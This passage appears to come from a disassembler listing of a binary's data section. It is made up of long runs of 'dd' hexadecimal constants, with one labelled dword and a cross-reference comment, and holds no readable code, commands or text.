178A1536h, 10EFEEB9h, 57068314h, 9E2160A3h, 0CA2378Bh dd 1432553Bh, 9C3EDEA9h, 90E5B7D1h, 4C884D04h, 2F8A3B93h dd 78610573h, 437C9713h, 0F1375CA4h, 0B7474101h, 52742E1Dh dd 4FA24823h, 0B8B330h, 273F6F0h, 37C347FFh, 5C501BECh dd 76888FC0h, 0CEB927A1h, 52ABC404h, 0C02A6C08h, 4F0BD6C4h dd 0D808843h, 0DF10D6DCh, 71072372h, 0DE51ADEEh, 0D6197572h dd 8BCA001Ch, 5DD1701Fh, 0C4B81A5Ch, 9C016601h, 250E4C31h dd 0BA146058h, 0D5442CB6h, 2D301F60h, 110ADE23h, 7260054h dd 4A2C9430h, 0DA232D2Bh, 6FC54868h, 5DDC0E54h, 4249100Bh dd 27819D2h, 8C15A470h, 1FA82B1Eh, 0D88B5852h, 0A863A400h dd 0C20E5AB5h, 7820A971h, 0D03B5ABEh, 0D275F194h, 44FF1228h dd 1B499200h, 0DC785E54h, 886F5814h, 37A72980h, 4C303292h dd 0CB38D9E0h, 0B8147877h, 1381C4B4h, 0FDF4B498h, 0D8F62CA0h dd 0EEA5F00Fh, 5704A5F1h, 7CA298C4h, 2A304EF2h, 0DBA30B48h dd 0CC806A69h, 3D23DDABh, 0E001EC4Fh, 211995C8h, 4420CF02h dd 9E8C035h, 392AFD14h, 9C09F466h, 4228B7C9h, 0D9EA4264h dd 18E77148h, 0E32226F9h, 41B74078h, 61825AE9h, 203C5010h dd 8CDDB8h, 662882BCh, 1B4C70E5h, 0A7ACDE3Fh, 54C2594h dd 1E8064ECh, 0F51AA548h, 5882BD14h, 40685284h, 0A27536AAh dd 180370A1h, 0E9710809h, 0F0C4789Ch, 7160584Fh, 4176EA95h dd 60C7E106h, 4990A7Fh, 0F3269E35h, 0F0E2C5h, 0C24A0CF4h dd 1DF7C8Ch, 0F6537A4h, 61B17596h, 3E482CA2h, 99348B25h dd 9E44787Ch, 5C744A98h, 30002146h, 6DE632FCh, 0BDEAA622h dd 0F231EC90h, 57930858h dd 59B8103Dh, 8AA58407h, 9AC0684Dh, 49B4A1A2h, 0E5CCA451h dd 8E092F09h, 48005B5h, 40402420h, 0BD90F0A4h, 97D67600h dd 6E8D4254h, 0E26C0B11h, 4C796260h, 23150E00h, 7784B4DDh dd 0D277E0E1h, 48608799h, 0DD475482h, 0D046E7h, 0AC597BBFh dd 490594C8h, 97CEE402h, 0D2E72396h, 88135E98h, 92F89164h dd 0B4A07300h, 60FB3179h, 61B00EE6h, 0DC021442h, 0BC62C99Eh dd 41CF8C81h, 743428B5h, 0A94A6B1Fh, 0E8235D56h, 6F0BEC13h dd 780034F2h, 2C4EEF33h, 0F7121Ah, 2173742h, 6DBD5879h dd 0FDCD8317h, 0DC3590D0h, 86F2E0h, 8C99D861h, 69B979C8h dd 6E40E501h, 66B56FDDh, 3014E452h, 5608A832h, 6440906Dh dd 2AAB4128h, 0B0FF1DA8h, 0E201A5F3h, 52807FAFh, 0E005E095h dd 0F01FBD9Bh, 7CFB9E28h, 0D9E500C4h, 842BA6Ch, 25C9176Eh dd 3340C110h, 1C3C3D95h, 24C9979Eh, 0D18E0C23h, 28A91449h dd 7B9C9052h, 0DEAC40DEh, 992BC474h, 0B3CB7922h, 0AA3BF070h dd 9C2CBA0Eh, 0A0A9E393h, 94780E61h, 6704B987h, 0B394C17Bh dd 159DD5E7h, 8AC2A0B0h, 0C0586C60h, 182B58A0h, 40F23D81h dd 0B4B4EF04h, 42458B28h, 264474C4h, 80BC964Dh, 34A8A1C8h dd 7F03EAF5h, 0FA07542Ch, 3B581381h, 84A88913h, 511CF190h dd 0C529F422h, 601BE4B4h, 0F35D2Dh, 6C7E00Fh, 6FEB178Ch dd 0ABA9D112h, 20713CB4h, 0F67D64E8h, 0ECC1BB2Ch, 93B48C42h dd 2A9E680h, 0A9975B30h, 10F4299Ch, 0D80829BCh, 917895A5h dd 85DF8054h, 27330639h, 3818385Ch, 0A8C0AAE9h, 352463E5h dd 0AD3327E6h, 53EF1002h, 0E7A78CE9h, 518425E0h, 93130CA8h dd 5CF134A2h, 7B1A8400h, 19A71EEh, 31C5DC4Dh, 0FDA75B97h dd 305C40A0h, 7702E20Eh, 8C794B24h, 595CC408h, 0A871404h dd 709CD271h, 13510E1Ch, 39E00971h, 0EF87A64Eh, 639F5601h dd 0EE894BBEh, 156DC884h, 38849105h, 0B5C9E08Dh, 6680097h dd 603D2EA1h, 0E5439958h, 6607A203h, 0FADC4BADh, 33406A80h dd 2E02018Bh, 556DAE9Ch, 0BC0C2861h, 0BB008C1Bh, 24093A69h dd 0CF01E08h, 1F4CB6B8h, 0E000D7F1h, 533F5F9h, 2837367Fh dd 0F5D4564Bh, 100A183Ch, 0DE94B5C5h, 0A57E8A00h, 7FB9F9E8h dd 21AA17E7h, 0F90D0FDh, 947DD22Fh, 697EDE00h, 4F41B22Dh dd 0E1EC0B3Fh, 6C209C54h, 89700D5Ah, 0DA0E989Eh, 0F230EB4Bh dd 1B1D1064h, 0B4B72821h, 28C4E2B0h, 0F0B278B8h, 953027F2h dd 0A99E0282h, 0EBF41F83h, 47A6E440h, 0F6DD9B15h, 0C5C840F0h dd 68446E4Ah, 1CC74FC6h, 90A8BCC4h, 0F794CAA0h, 7C1F691Eh dd 68EFDCCBh, 824BD428h, 0EB7958D1h, 0DA003618h, 96B414D9h dd 0C110B8A9h, 9813B758h, 693024BAh, 890DD030h, 0BF8DA16Dh dd 23E0D403h, 2B0331E2h, 13793112h, 0A2E8418h, 4F389C00h dd 19B1C217h, 9DE03913h, 0CB793C04h, 829F7021h, 0D7C99C31h dd 0FC30680Ah, 7CA91595h, 213A5027h, 7B255E40h, 77484045h dd 13575AA1h, 0C86C8BB8h, 2B14C04Fh, 8B12F388h, 68F0E07Dh dd 9EAB04AAh, 4B35FD1h, 34F3E574h, 92314AA2h, 34BEE60h dd 0ABB7831h, 4D89569Eh, 19F98023h, 0D09DC6C4h, 8E1B073Eh dd 8360E1E2h, 4C91A950h, 9C347E18h, 9D8300C4h, 590FC877h dd 2E3303D4h, 57EBE66Ch, 138CC88Dh, 0D00E18A2h, 9A95C483h dd 21016DF3h, 7FE5C5CAh, 689B9CDCh, 0E3A2E8B5h, 1FE02C4Dh dd 38A9BE2h, 69E62AD1h, 1EF8D557h, 2F75C6E8h, 0B1F89A12h dd 0CDB5C13h, 0E5BAB980h, 0A15C55D7h, 242773E4h, 1A9C915Ch dd 0DF04A063h, 14146543h, 4CB2A410h, 673049B2h, 84500015h dd 7E708995h, 0B800EE78h, 3280B264h, 95455149h, 13102410h dd 59ACB984h, 319E181Ah, 71C0A307h, 7ED41185h, 52F2A862h dd 1205031h, 35D12663h, 0E3658470h, 0D8FC81EDh, 80B60027h dd 11405E5h, 8CDFD478h, 99136DACh, 0A041C01Dh, 52CAC69Bh dd 4A6E3F0h, 0D1701E0Fh, 6528E085h, 631CE201h, 5D714918h dd 9C0C6868h, 4B690FE1h, 314EE690h, 276194CCh, 0A0A04A5Ch dd 0D761546h, 0FD2D1A09h, 0BBF8A3CCh, 0E73BB949h, 95DFAC0h dd 0D82F6EABh, 31EC9788h, 9DC5FEF1h, 11801531h, 38BADE61h dd 0BE2806CCh, 5820FB6Ch, 0F076E024h, 0B4168F0Fh, 0F9EC1184h dd 43343048h, 25D8AC51h, 224CF216h, 5890C081h, 3C0D94B1h dd 0B8D03155h, 9F785Eh, 0CE0C4A4Fh, 0A621D60Dh, 34AC2977h dd 3B4D9722h, 1D2133DEh, 21D0B11Fh, 46A42092h, 29F9B7D2h dd 59C11034h, 5CA6BFC8h, 21C4674h, 0CB084F21h, 80409E90h dd 0A5F1BFE4h, 4C219140h, 7BE70478h, 5CA218D5h, 0D8828A74h dd 88084788h, 0E46D1659h, 8908D8ECh, 80244E01h, 0B9DEE520h dd 0BC003CFBh, 0A89B68A9h, 2AB6226h, 0E82EE7FDh, 54913D7Bh dd 0CB0410C7h, 235913C5h, 832C04E6h, 0CA5600F0h, 90588C9Eh dd 200209C8h, 34F98250h, 7708C051h, 0C4A59924h, 5488DE92h dd 0C5710F79h, 6C811A3Dh, 842BE782h, 50E64558h, 64C8700h dd 0E1259EE0h, 71584877h, 0C910FFD5h, 9A9F40F8h, 84B8075Ch dd 0CC8D2F38h, 319BFDB8h, 70D12BACh, 7006B139h, 88A6D975h dd 0A2F05D25h, 35B74D8h, 8AE88694h, 99977372h, 4200DACh dd 2C608ABAh, 1098046Bh, 748212F0h, 64F90B90h, 0E5640CE7h dd 0F0618E60h, 8F027873h, 0A9F2367Ch, 5EDC5E04h, 80E51B21h dd 99F39FFCh, 0E1723664h, 0E582D805h, 3CE17970h, 51ADDA30h dd 74EAA422h, 319C84F4h, 0BC00E0A4h, 0D214EE04h, 0AC1220E3h dd 30B49370h, 503B4CDFh, 0A2A01F80h, 2A00D337h, 3326F86Eh dd 0F6852E3h, 0AE51649Eh, 5C41ED6Ch, 0C7F29B03h, 810F2662h dd 0FC293CD4h, 0A4171800h, 9BD33088h, 9A387F00h, 932EDE57h dd 5081741h, 0B2002548h, 0B1821D88h, 6D2A5EC0h, 58B40CECh dd 310228DFh, 2DFF092Fh, 1097B044h, 12969450h, 95AA1EAh dd 0D889937Ch, 0E5796CD9h, 0C8A36E18h, 95E04B93h, 0AE1E65EDh dd 12D62D3Ah, 0F9213804h, 4168E301h, 0F8B204A3h, 0BF304FF2h dd 0BC920081h, 0CBD7A12Dh, 6A019F94h, 9BBE34A4h, 0B824820Dh dd 0C1F129D1h, 1854D134h, 0F4C50292h, 0C1FD33AAh, 7CE098AFh dd 6B097661h, 83C73B07h, 54A0EFE7h, 8C0407h, 0E0325B4Eh dd 0DA84C286h, 5880B74Dh, 496300D8h, 723F6554h, 14D612EBh dd 0CC981705h, 564BDA4Ch, 0D4C85CD0h, 374C0084h, 0AE6F7871h dd 0CC7EC668h, 0C0470524h, 0D4CEC404h, 9587FC81h, 108C2F2Fh dd 80C064EEh, 0D93A1E19h, 0F0508326h, 338CE51Dh, 0B6B4AEEAh dd 1D465E48h, 0AC3DF000h, 1F474082h, 0E423CA12h, 0B8F150F5h dd 0B0961200h, 6038A12Dh, 51B9E18h, 7D696E16h, 0B1DC47ACh dd 0D2818477h, 0FCE01560h, 0CA17DDA7h, 549ABD10h, 0AA1CEEC0h dd 48A314ACh, 0C0085782h, 9892D907h, 191BFCC0h, 942890E0h dd 45E31CECh, 0A0D14BDDh, 705767Ch, 25017BDBh, 48FA4F4h dd 5BEFD34Ah, 6D6CF433h, 9C9ECCB8h, 0C0B77F0Ch, 0E4C8C814h dd 0B6040F8Ah, 0A402A116h, 7E62EAA2h, 9E00DCE8h, 0F395D835h dd 72B546EDh, 0A2554EDFh, 0CE007060h, 0E6A7A1D1h, 57DBDEh dd 0FC82B183h, 9B3986B6h, 9381560Fh, 0C8E68AF3h, 0C7418549h dd 40A2C825h, 0A9301CF2h, 0E43093Eh, 30E84D1Bh, 0D400E6F1h dd 0E9951C50h, 6D255BDh, 0A5716D4Bh, 0F2670B4h, 56118C47h dd 7F011D07h, 0D19B804Ah, 61E5507h, 4B025B5Dh, 0B7D5B323h dd 0A21B8C9Ch, 0CB6BDC42h dd 94040319h, 0F6BCB0F5h, 13CC4E31h, 0D198E1CCh, 0E0E205FCh dd 6F304AF2h, 0CC3F3EADh, 0B3FB8A80h, 0A9B14F8Fh, 8C60C024h dd 54FDE944h, 0ED5CF1ACh, 4BDF0FD0h, 4717F01Fh, 0BF2102C1h dd 909D6709h, 61E51A08h, 0F4C354F2h, 0E014D98h, 781DF97Eh dd 6C25B569h, 216A49CDh, 70660994h, 6140CD5Ch, 0CB654BB5h dd 0E4C4C4C8h, 75EED930h, 0EFDA7D13h, 7A02A45Eh, 0C86BB319h dd 5C03858h, 2D47DDF7h, 0C86F1Eh, 9D7A1A38h, 13344794h dd 1A8D9693h, 2C5ED64Ch, 0CC54C692h, 0B093CA8h, 0C4ED517Bh dd 88E5E824h, 6440E8A9h, 4F8CEC96h, 0F76C221Eh, 0FC642Bh dd 0FA91D47Bh, 9338ACDBh, 3014AA00h, 0E4DF05F3h, 0A89D0041h dd 8179748Ah, 18060A08h, 0C0D9A0E8h, 788CB391h, 74072CDFh dd 6A7ED211h, 0D8F68833h, 5280516h, 9EAC22D1h, 0A9DC02C5h dd 5CD044A1h, 0E9971212h, 0C010202Fh, 535CC0E4h, 4354C75h dd 0C99E1CA5h, 28B8FBh, 0DC093C56h, 4B22CD59h, 0A92420E5h dd 3481B97Ch, 0E0309C31h, 0A5FA885Eh, 0F52CFF1Dh, 302AA941h dd 1EE15423h, 97B5E7C0h, 0C208941Dh, 567762E4h, 6962D486h dd 923DE09h, 0E130E81Dh, 14C89DA6h, 0C900CF5Eh, 0FD2E673Fh dd 95B7224h, 9CA94AEFh, 44B59C60h, 4D79A70Ch, 0B86B1142h dd 0D93F3F8Ch, 0D000985Ch, 6C298EB0h, 48641144h, 0CCF93C68h dd 2CA99C09h, 7CC90461h, 0E51010B0h, 145C3884h, 26E81234h dd 8B53B4C8h, 0E38D5825h, 779BE29Ch, 3A001014h, 98C6F121h dd 31E19EE2h, 0C54819B7h, 0C40C386Ah, 740D052Fh, 282F7A38h dd 5A135123h, 22C5F889h, 0F73EA0C7h, 0F26A0041h, 12AB6A8h dd 995B98EEh, 10044412h, 38ACD0A9h, 9DE52B00h, 9FD9318Ah dd 9150179Dh, 0E625871Dh, 0B059A303h, 6FFBD19Eh, 31C0D811h dd 95325C18h, 0E80431D3h, 6CC07A8Ah, 5D4DF19Dh, 2F4F2498h dd 0EE8239Ch, 0DCC3936Ah, 6C699E7Bh, 605179h, 0E236D270h dd 74FA424Ch, 0C84645Eh, 2188B8CEh, 0FDDC8BC0h, 308D506Fh dd 0DCEC94E4h, 0E1389900h, 43328CA0h, 0CA114B1h, 293EC848h dd 16F789Eh, 1970C566h, 0ECFC2C60h, 29028CE8h, 3D9B5FA7h dd 1F947824h, 58C5670Ch, 2F314992h, 44DCA92Fh, 4F181604h dd 90381841h, 76486025h, 0B7F11080h, 80365C14h, 0AD701782h dd 0E8043054h, 0DCC1F17Eh, 0B804E461h, 8CC4BC50h, 2C397104h dd 78B0929Fh, 0B8E0658Ch, 54880D61h, 6B3441B9h, 0EC677AC1h dd 7BD9F650h, 0F9D3C44h, 66C8CC4Ah, 25F99B25h, 2CA83A3Ch dd 7C8C51BCh, 41DC1A0Fh, 684089CCh, 234BA943h, 30849043h dd 6FE4E7h, 0BFF3F190h, 95E9FD12h, 7804035h, 8BA135BFh dd 0CDBC02B2h, 1D4DBE4Bh, 4F53D920h, 0C8C90048h, 0DFF0F16Bh dd 1B62CD43h, 80A113C0h, 494C696Ch, 0C29D73h, 6FB4987Fh dd 280D60A1h, 349D0776h, 40617231h, 0B02313F1h, 3E3120E2h dd 4C8CD2DCh, 824BC530h, 0A0ABCB0Ch, 4DD16871h, 0C9004418h dd 0DD699AA4h, 0C5839923h, 90364DA8h, 97D21E7Ch, 0D00B175Ah dd 2C44C1FCh, 0A94C05D2h, 0F22A00C0h, 0D770FAACh, 0A9761257h dd 0C43C310Fh, 34A0E59Eh, 0F7055740h, 0D6325BD3h, 0D98438F8h dd 55949CDFh, 10A8C09Dh, 43492C42h, 0B2EC893Ch, 0B59FB802h dd 0A99E5C7Eh, 646450D6h, 185FF8C1h, 0F8494B01h, 39F959DDh dd 16EB858h, 330B7ACBh, 6F25344Eh, 0EF927C05h, 53F9004h dd 0CF4CB500h, 7F02487Ah, 9B7BDA83h, 9DA88958h, 801A111Ch dd 0B7EAC975h, 2795A43h, 19696DA0h, 0FE09ECD4h, 0E16C2F55h dd 526AF2A3h, 71390432h, 9451E1E9h, 1518E579h, 32253D02h dd 7675EC60h, 0B0CA4078h, 1A028B99h, 23C62E69h, 172860AFh dd 991C925Ah, 0E37D00E0h, 93D3853Eh, 0CCF6D02Ah, 41680F0Ah dd 0ED41F4C4h, 3072E222h, 8CA9B104h, 3F3C0252h, 76D05ECEh dd 65005146h, 97424903h, 0B0B8CDECh, 1E02944h, 47D092D5h dd 7819210Fh, 8C4DBC0Ch, 598F2800h, 200352B5h, 0DDFF059Ch dd 4A7EC97Bh, 82A8A484h, 1F8BDA84h, 1940A044h, 7CACBCBCh dd 0FB002046h, 0DC4A7D46h, 0A913A0CCh, 2CD12924h, 3C015A8Ch dd 0DE4864ABh, 84587B7Ch, 11608870h, 32140954h, 0EF941848h dd 0F640D61Fh, 4BBE078h, 7864B5A8h, 648BF402h, 0D5946AF0h dd 0FE377490h, 0B48A83Dh, 377F2A1Dh, 5C2E0034h, 0E1CD663Dh dd 21FBBB14h, 975509F8h, 0B248412Bh, 7D9B6810h, 0C7802251h dd 0F84C5CA0h, 2F445B5h, 833D4BDEh, 2EDD5500h, 127C7885h dd 1140D25h, 0C8A210F9h, 9DB0535Fh, 67123805h, 0FC41B59Bh dd 8FD27CC3h, 4F3C026Bh, 0F0DAEB49h, 1A63C910h, 0A15C0F7Bh dd 4AF043D9h, 437BA82Fh, 0E3800E4h, 3DA4CECBh, 0C5C85AE3h dd 23683B6Ch, 53D40050h, 7AD76CD9h, 291CB700h, 782B0F2Fh dd 0C8594BBDh, 0E6000CD0h, 4D6BC702h, 0CDAFB9h, 0CECAA495h dd 0A0E755D1h, 8D40E101h, 7A066321h, 0EF02EFECh, 0B594042Fh dd 0D0D4D0B9h, 0E003314Eh, 0EBA79C7Eh, 0AE0EA0E3h, 4CEC0588h dd 0E979A241h, 730F0098h, 53A962E8h, 2EA1F607h, 4BC8CC2Dh dd 5180C000h, 755F7BE8h, 68B86C24h, 2C49FC10h, 0B913859Eh dd 6608BCF9h, 4C9EDD3Dh, 33287F08h, 69C18E10h, 28CC04B4h dd 80B372C1h, 8D314149h, 10395942h, 24A100F6h, 0C0B458CEh dd 175908h, 0AF6EDBDFh, 3D317F75h, 7EA1A85Eh, 1E84887Ch dd 20F616E5h, 4A2952E0h, 0EA2D8600h, 370288C6h, 204F285Eh dd 0C5245F80h, 0C8C4CB54h, 0BE70C3EEh, 2E1333A8h, 82F7B01h dd 0F737D19Eh, 726E6835h, 98A98EA0h, 9070FCF3h, 0FB5E4CCEh dd 6AB70976h, 58F03BC6h, 581E3920h, 887318E5h, 97096649h dd 0C4B538A9h, 7C044D44h, 0E7BCEC49h, 6BC06D00h, 0E369E5FCh dd 935FACBh, 0B7ED16Fh, 81086059h, 9CF92766h, 6A66301h dd 0BCFCD8A5h, 6F890276h, 4CEE8A34h, 54943846h, 0F0465Eh dd 157CCE8Ah, 17AA9513h, 0E34D7922h, 0C9770C5Ch, 17E0A153h dd 90F07543h, 79490420h, 0A007094Bh, 2795327Eh, 992AC4D0h dd 4000970Dh, 6A480611h, 81AB8800h, 3CFE7D25h, 0E82F4CEBh dd 0F4178FC7h, 0E80C855Ch, 629F0590h, 34CEB11Fh, 0FDC0EF88h dd 3EE0ADCCh, 4C82614Eh, 9F3422A6h, 0C7216860h, 0D4FC9684h dd 59DA1A2Dh, 0C5CA0254h, 0A8F04B41h, 20CD7B17h, 68E5CC20h dd 34231E3Dh, 5F120182h, 48EF9D9Bh, 0F098DFA0h, 98881741h dd 0DE03A84Dh, 26226933h, 0A7C06819h, 53441447h, 0B703E160h dd 292770FEh, 1B8868DFh, 0CC398360h, 42D12D5Eh, 268D998h dd 14C61D0Dh, 5A9664C0h, 0A40C4C03h, 0E2A825C5h, 8E10D493h dd 5454833h, 94884081h, 34BECE84h, 48B968D2h, 62961316h dd 94A06D88h, 325541F7h, 3C9C62FBh, 25054498h, 5CD9C556h dd 0ACFD3A00h, 55A1A17h, 74062C0Eh, 0E80CF8EAh, 0C5028C4Dh dd 0C96955F5h, 3DE8E002h, 1521C063h, 0DC0EC11h, 65663614h dd 98032AC8h, 10B19DFEh, 0A27EE809h, 13EE65B4h, 0D6DE60FCh dd 0B84F2F0Dh, 0D5F44816h, 71EBD600h, 0CF69480Ah, 0A452000Fh dd 4B15A37h, 74FD41A1h, 2D2E340Ch, 0E06E74B7h, 7ED5AC09h dd 20CB4BD2h, 325C12A4h, 9138F20h, 0A9897177h, 2EE8C49h dd 7CCCD452h, 82E4DD21h, 0BE42ECB2h, 855708C0h, 0A1173879h dd 3091B71Ch, 909FAF40h, 0BE800421h, 1050E9CFh, 9402191Dh dd 4E078C9Eh, 36D021DFh, 1E70DFF6h, 0A24C0221h, 299BDDA3h dd 2F6C05DDh, 759C04BAh dd 996D0122h, 9C7BA549h, 0AA157704h, 4AC8AEFDh, 0B9E0C8E6h dd 84017856h, 9ECAE033h, 496F3F92h, 0C0524C68h, 0B800FCE6h dd 0FD81A793h, 0BE1114h, 0AD456CC7h, 289FF8F4h, 0C93F3500h dd 0C247540Fh, 314B4E4Ch, 12DFE1ECh, 7978D26Eh, 80EB0118h dd 0B563109Fh, 366BFC24h, 0A4B24500h, 6A959091h, 0DD4D345Ah dd 6F6C9089h, 0C516680Ch, 74D08071h, 83B2CC31h, 216B7811h dd 4D82AC06h, 0A8BE41FDh, 75DE8340h, 437A26h, 3AFD8C94h dd 0F2BAB838h, 0A293FE04h, 94E4A684h, 39AC6098h, 9F5D3D5Ch dd 494C8B06h, 9668247Fh, 0A000DC10h, 391769Ah, 446F5866h dd 987BB5DAh, 0F062B14Bh, 1CCD2B0Dh, 63F1D9C0h, 153E630h dd 73A11250h, 6A6D68F7h, 689B1C4Eh, 9A4D0C1Ch, 3CBC3BA9h dd 0F48C2E80h, 28BDBE07h, 0FCB3068Bh, 4144C26h, 8C1BE8h dd 892561FCh, 45A623BEh, 647C7B70h, 713F5A03h, 0C0C6F411h dd 4E31E3D2h, 0AF64C2A3h, 950D6910h, 0C5B56001h, 0E8906E4Ch dd 7473EB28h, 0B9400F8h, 0AF9AD1FBh, 1900CEA5h, 0D5ED903Fh dd 2E4E663h, 0A177579Dh, 0F00BB491h, 0D0609754h, 0C0905AC5h dd 4D80817Dh, 226B5EC6h, 5090DA8h, 0D8C31740h, 649900CAh dd 78ED363Ah, 0D21337ADh, 1482D3FBh, 0C99C2059h, 28B61157h dd 0F80DDCFh, 0FE2A3DD4h, 189FBFF6h, 60E4C008h, 0ED1300Ch dd 51545C27h, 0E9948084h, 952C8FFAh, 2FC88958h, 3A24E833h dd 0D76B02A9h, 17E17016h, 0FD7BE800h, 4C44B780h, 349B8D74h dd 0EAA15D8h, 20D87140h, 1CD7A720h, 137864D5h, 0E878E103h dd 0D22EE7F8h, 94E46Fh, 8D7DF33Dh, 1D6AA1DAh, 0DF7B3412h dd 380E8EDh, 7D36B579h, 5A1CA48h, 951406DFh, 0E0764CE9h dd 0C46097E7h, 0C70BB1EAh, 76723EB8h, 0AE656048h, 7A17AB14h dd 7830D9B9h, 4A9611FDh, 0C3489AE9h, 0B4713094h, 0AF48C0A8h dd 0C0214B72h, 7F2BC540h, 60E84D97h, 0B54CBF88h, 0C33D7013h dd 43720CE4h, 58FC3A61h, 43C4F8D0h, 0BF6E00E4h, 0B66A0D46h dd 9DED733Ah, 0E5B4ACA2h, 7549CF00h, 0EC22B554h, 4F00B27Fh dd 0B659BCA1h, 9C41A530h, 688F2B65h, 55C75088h, 4B34D440h dd 88C625C1h, 0E6E81490h, 0C9937C00h, 0A0DD4CDCh, 0CC2C0178h dd 0C0A94F67h, 2589BB46h, 44B04640h, 73093817h, 41CDC8E3h dd 7C65EDDCh, 8130DE2Eh, 0BBF9D504h, 23CC82Bh, 0DD53AF00h dd 1D447D8Ch, 8EC9E785h, 0F9955470h, 414F0F00h, 0B0562531h dd 807DC83Ch, 6673D1Dh, 0C0BEC033h, 0ED65C508h, 20792F64h dd 2E00EA2Ch, 0C217BDDDh, 0F0050070h, 1B3C1819h, 75034189h dd 6C7CD2E5h, 2824B24h, 0B8FDA000h, 0CB44AE5Fh, 64B06780h dd 0ADB36126h, 16ACA9D4h, 4DE8CF2h, 16653B8h, 467CA46h dd 0E055C097h, 49133238h, 788866D5h, 0EC408A78h, 4E97C045h dd 2AB91730h, 0BA2C0005h, 352E4928h, 0C4EE1000h, 764145FCh dd 0B2E73D08h, 0C29A5B00h, 54AA7C15h, 0B578EA60h, 0AA5E853Ah dd 79B8E8B0h, 0E48E635h, 1839B3D0h, 0A17D19E7h, 708FD106h dd 0C740C1ECh, 136A1224h, 0F2A0E296h, 4AF530C2h, 0BEE0A919h dd 16105D81h, 1900F6D9h, 9D76CBA1h, 91EE77E1h, 0D4A12FA4h dd 785AF393h, 38CE83C8h, 0DE7E88E3h, 0A06C967Bh, 0B611209Ch dd 0AF9A342Fh, 5B13A90Ch, 7B3ED044h, 0B1103C30h, 95794F05h dd 319ED821h, 57B196ACh, 2B6B9C9Dh, 1D5323E0h, 0D4F55DB0h dd 2F001C9Fh, 2654B2A9h, 1069A1C9h, 98CE679h, 0D48B5A36h dd 141DA456h, 80F44604h, 0AD1FB0F8h, 0DA6181FDh, 2A26077Bh dd 9BA19C03h, 2DA83EFEh, 70960F00h, 648453A9h, 5B2C8600h dd 30FCE31Eh, 0E3314E0Dh, 0E171258Ch, 56AA524h, 338FB898h dd 0C6E01ECCh, 0D092FC70h, 80ECB095h, 0E81A9711h, 0B89D1C1Bh dd 0BA1610F8h, 1C80B709h, 0C448EC89h, 5A0588EEh, 19EB4149h dd 5B58428h, 44A99755h, 15383117h, 99F9841Ch, 71FF1BFh dd 0EBD16F87h, 6716B0D8h, 0CC98B3E3h, 5F7CA271h, 992C6480h dd 98BFA2D1h, 6023E0F8h, 177A127h, 0ACAAACBEh, 78BC247Dh dd 0B70284C7h, 1120942Bh, 0D48F193h, 90146DC9h, 9C0D2BF0h dd 0D3BF02B0h, 0A888CBA6h, 1A226570h, 54D1E190h, 515E2488h dd 78F06071h, 82B2D500h, 0E51784E0h, 499B18DDh, 9EE14015h dd 0DC08F807h, 89B0135Dh, 376B81Bh, 0D250E57h, 0E3905365h dd 9E3745FDh, 1200204Ah, 0E4DEDDC0h, 0B6360264h, 1559F449h dd 30275060h, 69ACE8BDh, 810A0EE3h, 66807005h, 682DFCFDh dd 5ADC8E00h, 8924C91Dh, 254A038Dh, 0DD550F2Ah, 0E4B3A6E8h dd 80DC08B4h, 55CDDA2h, 9F76A5Ah, 4E0829Ch, 979550F8h dd 0E51B8898h, 0EC768460h, 324102BFh, 0B2B3A286h, 11C810FDh dd 602B0035h, 6C6D8D94h, 0C9E8DB20h, 0D9E68000h, 363531E4h dd 0FDD51977h, 0E056592Ch, 12264088h, 0AE074478h, 30E00508h dd 12DD51EAh, 21CEABCDh, 70886718h, 11C06128h, 1DAAC4DFh dd 6FC61297h, 0DD083AEh, 19711018h, 4529599h, 5BE51EF4h dd 5094AD31h, 28AD662Ch, 0F8667608h, 0EE097657h, 72335BDDh dd 222F248h, 0E75EC823h, 85F7B1A4h, 0B440B36Ch, 57591A30h dd 401F5688h, 2324C282h, 404FCCDEh, 0CDE00B18h, 639B0BC3h dd 50FA480Dh, 61763C25h, 0BC222EE0h, 633CAD74h, 41AD6EC6h dd 7AA87EA4h, 885468E5h, 5934A1B0h, 0C0DF0BDCh, 80B7DE0h dd 0C21893F1h, 1ED15E3Ch, 1C440077h, 9EAAB4DFh, 48A220FCh dd 9D46BC3Ch, 8A95CCDDh, 2B741278h, 60B4894Bh, 506440EEh dd 5C3986F1h, 50611238h, 844354A5h dword_4E414C dd 1DE13244h, 9823677Eh, 253171B1h, 240E4Ch, 62F57DFBh ; DATA XREF: ___:off_43ACE4o dd 0FFE2990h, 6512E29Ah, 701392h, 673C2420h, 20BF70C5h dd 0B19596D4h, 8611B077h, 0BC305220h, 97A6F0Ch, 8F481898h dd 17E44D9Ch, 14F8C61Ah, 0C07D4612h, 12B33CFCh, 60B2EF5Ah dd 93587FBAh, 0CF7A1304h, 41ADF806h, 98733110h, 8CBA0608h dd 8CA2918h, 6229C493h, 7CB3049Ah, 8701706h, 20CC1030h dd 0F8221288h, 0F699407Bh, 1518F866h, 4D3E3239h, 4703DF31h dd 0B0101033h, 96D33D5h, 78068CBDh, 7FFC2067h, 7DF708C4h dd 1519BC0Ch, 6E4C6340h, 0FB0C30DAh, 5F625508h, 3F1EE18h dd 104C31A8h, 620863AAh, 0B11832FCh, 41230E59h, 74C01010h dd 0B8331048h, 18117F19h, 30E9881Bh, 214C1B17h, 818C49Bh dd 0B238925Ah, 8908C424h, 216A0C2Bh, 3469C6B0h, 8731085Dh dd 0F5E618A2h, 90720895h, 8852E18h, 5E818B26h, 0A6589452h dd 33095AC8h, 9618263Eh, 0C2E88910h, 1869C610h, 4910D424h dd 0A408C4AFh, 9C0C0ABCh, 10D42995h, 0E510B175h, 495C3137h dd 3F029CD8h, 36958CA2h, 18792B03h, 28C9E908h, 5A81342Fh dd 8D9DE188h, 871B31Dh, 0BE0174A5h, 7B3092ABh, 4C7F0C44h dd 99C47A0Ah, 0E7F9C91Eh, 40531015h, 8BE965FCh, 8C86C44Ah dd 0C3F2588h, 0CA086A7Fh, 6440F962h, 9C28022Dh, 0F192B028h dd 9BE91446h, 8CBB5418h, 492892C8h, 0B4246036h, 0B2C48C40h dd 7E625B08h, 4994B920h, 0C6046664h, 34A889E9h, 180782Ch dd 3910CFC5h, 0D7BF10B0h, 10321310h, 0DD18D50Dh, 8E4408D6h dd 8C8318C6h, 1AFB3208h, 8483688h, 28DDDD4Ch, 407E93D0h dd 79C42F62h, 33062708h, 0DE40716Fh, 0E98A826h, 210CCB4h dd 88A87981h, 88928F68h, 0AA082F62h, 46990535h, 84F7988h dd 66903220h, 0B1502928h, 48DB3531h, 67037BA9h, 0B038C118h dd 0C4A1ED18h, 4DC0E08h, 2C04D01Fh, 44749422h, 0A6869A4h dd 0AE88C08Fh, 0BC7115D3h, 10A39819h, 401C24BCh, 